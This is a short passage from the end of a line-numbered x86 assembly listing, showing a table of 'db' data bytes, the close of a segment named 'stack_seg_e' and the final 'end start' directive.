  2138.         db    0BBh, 2Bh, 0BCh, 2Bh, 0F7h, 2Bh
  2139.         db    0F8h, 2Bh, 0F9h, 2Bh, 8Fh, 2Ch
  2140.         db    90h, 2Ch, 91h, 2Ch, 0A7h, 2Ch
  2141.         db    0A8h, 2Ch, 0AFh, 2Ch, 0B0h, 2Ch
  2142.         db    0B1h, 2Ch, 0B2h, 2Ch, 0B3h, 2Ch
  2143.         db    0B4h, 2Ch, 0BAh, 2Ch, 0BBh, 2Ch
  2144.         db    0BCh, 2Ch, 0D2h, 2Ch, 0D3h, 2Ch
  2145.         db    0D4h, 2Ch, 0D5h, 2Ch, 0D6h, 2Ch
  2146.         db    0D7h, 2Ch, 0DFh, 2Ch, 0E0h, 2Ch
  2147.         db    0E1h, 2Ch, 0E2h, 2Ch, 0E3h, 2Ch
  2148.         db    0E4h, 2Ch, 0EAh, 2Ch, 0EBh, 2Ch
  2149.         db    0ECh, 2Ch, 0F6h, 2Ch, 0F7h, 2Ch
  2150.         db    0F8h, 2Ch, 0F9h, 2Ch, 0FAh, 2Ch
  2151.         db    0FBh
  2152.         db    2Ch
  2153.   
  2154. stack_seg_e    ends
  2155.   
  2156.   
  2157.   
  2158.         end    start
  2159.